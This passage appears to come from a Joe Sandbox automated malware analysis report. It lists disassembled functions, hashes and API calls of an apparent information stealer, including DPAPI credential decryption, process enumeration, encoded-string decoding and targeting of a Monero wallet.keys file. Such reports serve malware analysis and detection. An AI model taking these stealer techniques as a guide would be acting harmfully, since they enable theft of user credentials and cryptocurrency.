FindNextFileA.KERNEL32(000000FF,?), ref: 00C4EBDF

Strings

\*.*, xrefs: 00C4E44D

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: f260e38da87f5681e92c9e529911a35a8374dc8a0050add15e3be7bae2ce01a7
Instruction ID: e95fd0cc15e25332236077ba4f7b9536ecefd2f039a4cc58118d8d930a9773da
Opcode Fuzzy Hash: f260e38da87f5681e92c9e529911a35a8374dc8a0050add15e3be7bae2ce01a7
Instruction Fuzzy Hash: D6123F759101189ADB14FB62DC96EED7338BF54301F4042A9B90AA6091FF306F8DDFA6

Function 01017E75 Relevance: 9.1, Strings: 6, Instructions: 1646COMMON

Download Yara Rule

Strings

GtgW, xrefs: 01017F52
rJ+}, xrefs: 01018CEE
Xce, xrefs: 01018FCE
Si_~, xrefs: 01018D51
Z?, xrefs: 010191D4
5Fc_, xrefs: 01018B7E

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 5Fc_$GtgW$Si_~$Xce$Z?$rJ+}
API String ID: 0-2440060258
Opcode ID: 13f24f0b4ea3ec427916652085b2d98d53d3bd9dfbdc16e1c9127b806f86cac0
Instruction ID: da5eeb75e04606ff97e2e1691464ca5e3fecf13a60fa61fa45413d917ca1c3da
Opcode Fuzzy Hash: 13f24f0b4ea3ec427916652085b2d98d53d3bd9dfbdc16e1c9127b806f86cac0
Instruction Fuzzy Hash: 33B217F36082049FE704AE2DEC8577AF7E9EF94320F1A853DE6C4C7744EA3598058696

Function 010147F9 Relevance: 9.1, Strings: 6, Instructions: 1634COMMON

Download Yara Rule

Strings

{r5, xrefs: 01014D3C
VR], xrefs: 01014D7D
i3:O, xrefs: 01015870
Dgo, xrefs: 01015077
JD{, xrefs: 01014968
[E, xrefs: 01014DA3

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Dgo$JD{$VR]$i3:O${r5$[E
API String ID: 0-1220943483
Opcode ID: 98780f1f767700533aed8301b644b8ff477a6aa0e3d1f402ff16c3223541ae1a
Instruction ID: 3cbf1e5a4ad0dab0daf952b78566a4042f5a25dc992f765624ce48bda7ea3411
Opcode Fuzzy Hash: 98780f1f767700533aed8301b644b8ff477a6aa0e3d1f402ff16c3223541ae1a
Instruction Fuzzy Hash: A9B228F3A0C2109FE3046E2DEC8567ABBE9EF94720F1A493DEAC4C3344E67558058796

Function 0101650C Relevance: 9.0, Strings: 6, Instructions: 1479COMMON

Download Yara Rule

Strings

8rh, xrefs: 01016E9D
]^i, xrefs: 01016C88
sV~W, xrefs: 01016FED
F7N, xrefs: 010176F5
6a_X, xrefs: 010176E3
t+jo, xrefs: 01017033

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6a_X$8rh$]^i$sV~W$t+jo$F7N
API String ID: 0-2849425773
Opcode ID: eed917dec397d9518e4703ff4021f20271f67ea3936c8942c21ae17a8f344fc4
Instruction ID: 70f520e032c3f825dd988beb8db9e6ca15c3ca8a8eff9c3d870431d73dc5b981
Opcode Fuzzy Hash: eed917dec397d9518e4703ff4021f20271f67ea3936c8942c21ae17a8f344fc4
Instruction Fuzzy Hash: ECA216F360C2049FE3046E29EC8567ABBE9EF94720F1A493DE6C5C3344EA3598458797

Function 01007043 Relevance: 8.0, Strings: 5, Instructions: 1713COMMON

Download Yara Rule

Strings

"8r, xrefs: 010081F0
f~:}, xrefs: 010079F6
(+c<, xrefs: 01007F85
(+c<, xrefs: 01007F66
OS}, xrefs: 0100752B

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "8r$(+c<$(+c<$OS}$f~:}
API String ID: 0-1059734795
Opcode ID: e11eddea951735a65598c03931c82d601464addfe491b18323b00ffbf7f3fa48
Instruction ID: 586dbeb0c03ffabaa83ef3320424ae6b07615b9bde971b30a2b25200bf592072
Opcode Fuzzy Hash: e11eddea951735a65598c03931c82d601464addfe491b18323b00ffbf7f3fa48
Instruction Fuzzy Hash: 1FB25CF3A0C2049FE3046E2DEC8567AB7E9EFD4720F1A863DEAC5C3744E93558058696

Function 0101CE32 Relevance: 7.9, Strings: 5, Instructions: 1610COMMON

Download Yara Rule

Strings

!SW}, xrefs: 0101D5B8
U{gG, xrefs: 0101DCA7
U{gG, xrefs: 0101DC8B
apy, xrefs: 0101DF09
R$Og, xrefs: 0101DBDF

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !SW}$R$Og$U{gG$U{gG$apy
API String ID: 0-401539328
Opcode ID: 13acd1692b4b92004f85b962fa0bf32a680de47f9e1d10518062bbce5178b6c1
Instruction ID: ce8a8814d34c9aef90dbedee32dccb50b15ce3c4831ea753775aed073b119f60
Opcode Fuzzy Hash: 13acd1692b4b92004f85b962fa0bf32a680de47f9e1d10518062bbce5178b6c1
Instruction Fuzzy Hash: 51B2F6F36082049FE3046F2DEC8567AFBE9EF94720F1A493DEAC583744EA7558018697

Function 01019987 Relevance: 7.9, Strings: 5, Instructions: 1605COMMON

Download Yara Rule

Strings

_Pu , xrefs: 01019FAB
R8bm, xrefs: 0101AB7C
W}}, xrefs: 0101A160
sd~, xrefs: 0101ACA0
3A|], xrefs: 01019EBD

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3A|]$R8bm$_Pu $sd~$W}}
API String ID: 0-291602057
Opcode ID: e767e7e7c427506f625d4ecc83b978b03f73979e1b3e0b5d6e147024f515d7e8
Instruction ID: a5bcb3b4d02e9749debbc487c9c432b8a949c923ade9b68244c27368f6406711
Opcode Fuzzy Hash: e767e7e7c427506f625d4ecc83b978b03f73979e1b3e0b5d6e147024f515d7e8
Instruction Fuzzy Hash: 80B2F5F360C2009FE308AE29EC8567ABBE9EF94320F1A853DE6C5C7744E67558418697

Function 00C4C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00C4C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00C4C87C
lstrcat.KERNEL32(?,00C60B46), ref: 00C4C943
lstrcat.KERNEL32(?,00C60B47), ref: 00C4C957
lstrcat.KERNEL32(?,00C60B4E), ref: 00C4C978

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 0735f0773497aabe0c3606542533d20d7efc4802592f0d81ea42889351dc779b
Instruction ID: f61c97ba8afba0cefd2c7ebc12a9643b3e587c9c37e8584602f132622561648e
Opcode Fuzzy Hash: 0735f0773497aabe0c3606542533d20d7efc4802592f0d81ea42889351dc779b
Instruction Fuzzy Hash: 32415DB590421AEFDB10DF90DD89BFEB7B8BB48304F1441B9E509B6280D7745A84CF92

Function 00C47240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00C4724D
RtlAllocateHeap.NTDLL(00000000), ref: 00C47254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00C47281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00C472A4
LocalFree.KERNEL32(?), ref: 00C472AE

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 160acb60e10fc356e160e7625d32fcdb630ca4152b96bf54c09f67e33e501fd3
Instruction ID: 69a3b71038bb173fd9bffe33a6723dc3d0367cc802e4843df37d9aae5a771db0
Opcode Fuzzy Hash: 160acb60e10fc356e160e7625d32fcdb630ca4152b96bf54c09f67e33e501fd3
Instruction Fuzzy Hash: 6E010CB5A40208BFEB24DFD5DD4AF9E77B8AB44B00F144555FB09BA2C0D6B0AA048B65

Function 00C59600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00C5961E
Process32First.KERNEL32(00C60ACA,00000128), ref: 00C59632
Process32Next.KERNEL32(00C60ACA,00000128), ref: 00C59647
StrCmpCA.SHLWAPI(?,00000000), ref: 00C5965C
CloseHandle.KERNEL32(00C60ACA), ref: 00C5967A

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: cf8a9fb95bd531f6813e58704245400b40b2262e20f565fb31b1dd8b6c0b3025
Instruction ID: 9406acd591d41f6b8d0cabd64bbec648d6305d4cc983e47e9076c9752c00aafa
Opcode Fuzzy Hash: cf8a9fb95bd531f6813e58704245400b40b2262e20f565fb31b1dd8b6c0b3025
Instruction Fuzzy Hash: 5D012979A00208EFDB14DFA6C948BEDB7F8EB08301F144199A90AA6240DB349B88DF51

Function 0100FBE6 Relevance: 6.2, Strings: 4, Instructions: 1230COMMON

Download Yara Rule

Strings

(^Y~, xrefs: 01010517
>;, xrefs: 0100FF9B
gr-z, xrefs: 0100FFD7
i^Yo, xrefs: 0101076E

Memory Dump Source

Source File: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703203377.0000000001144000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703302298.00000000012E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1703315712.00000000012E6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c40000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (^Y~$gr-z$i^Yo$>;
API String ID: 0-3191279034
Opcode ID: 45568d45ed564fd7c74f1ff25e5fcc04f0df532599e39b05c9d20e2f56f747d4
Instruction ID: 36a107f4a675c26d7bcdb9a6c3ea5eff5e76c0938b69bbb58d59ae9d3b56a0bc
Opcode Fuzzy Hash: 45568d45ed564fd7c74f1ff25e5fcc04f0df532599e39b05c9d20e2f56f747d4
Instruction Fuzzy Hash: E382E6F26086049FE304AE2DEC8567AFBE9EF94720F16893DE6C4C3344E63598458797

Function 00C58680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 00C5A740: lstrcpy.KERNEL32(00C60E17,00000000), ref: 00C5A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00C605B7), ref: 00C586CA
Process32First.KERNEL32(?,00000128), ref: 00C586DE
Process32Next.KERNEL32(?,00000128), ref: 00C586F3

Part of subcall function 00C5A9B0: lstrlen.KERNEL32(?,0089AEE8,?,\Monero\wallet.keys,00C60E17), ref: 00C5A9C5
Part of subcall function 00C5A9B0: lstrcpy.KERNEL32(00000000), ref: 00C5AA04
Part of subcall function 00C5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00C5AA12

Part of subcall function 00C5A8A0: lstrcpy.KERNEL32(?,00C60E17), ref: 00C5A905

CloseHandle.KERNEL32(?), ref: 00C58761

Memory Dump Source

Source File: 00000000.00000002.1702857750.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C40000, based on PE: true

Associated: 00000000.00000002.1702844937.0000000000C40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000CFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000D22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702857750.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000000E9E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001106000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.000000000112A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001135000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702986744.0000000001143000.00000040.00000001.01000000.00000003.sdmpDownload File
